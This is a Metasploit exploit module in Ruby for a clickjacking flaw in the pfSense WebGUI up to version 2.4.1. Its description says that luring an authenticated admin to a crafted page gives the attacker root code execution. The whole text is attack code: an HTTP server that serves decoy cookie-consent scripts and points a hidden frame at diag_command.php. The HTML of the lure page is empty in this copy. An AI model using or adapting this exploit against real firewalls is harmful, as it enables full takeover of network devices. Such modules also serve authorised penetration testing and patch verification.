## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense', 'Description' => %q{ This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1. pfSense is a free and open source firewall and router. It was found that the pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin into interacting with a specially crafted webpage it is possible for an attacker to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user, this will result in a full compromise of the pfSense instance. }, 'Author' => 'Yorick Koster', 'Payload' => { 'BadChars' => '"' }, 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'], ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ [ 'pfSense <= 2.4.1', { 'auto' => false } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 21 2017' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1']) ] ) end def js_file @js ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js') return File.read(path) }.call end def css_file @css ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css') return File.read(path) }.call end def background_file @background ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg') return File.read(path) }.call end def on_request_uri(cli, request) print_status("GET #{request.uri} #{request.headers['User-Agent']}") resp = create_response(200, "OK") if request.uri =~ /\.js$/ resp.body = js_file resp['Content-Type'] = 'text/javascript' elsif request.uri =~ /\.css$/ resp.body = css_file resp['Content-Type'] = 'text/css' elsif request.uri =~ /\.jpg$/ resp.body = background_file resp['Content-Type'] = 'image/jpg' else if datastore['TARGETURI'].end_with? '/' url = datastore['TARGETURI'] + 'diag_command.php' else url = datastore['TARGETURI'] + '/diag_command.php' end framename = rand_text_alpha(16) divname = rand_text_alpha(16) resp.body = %Q|
| resp['Content-Type'] = 'text/html' end cli.send_response(resp) end end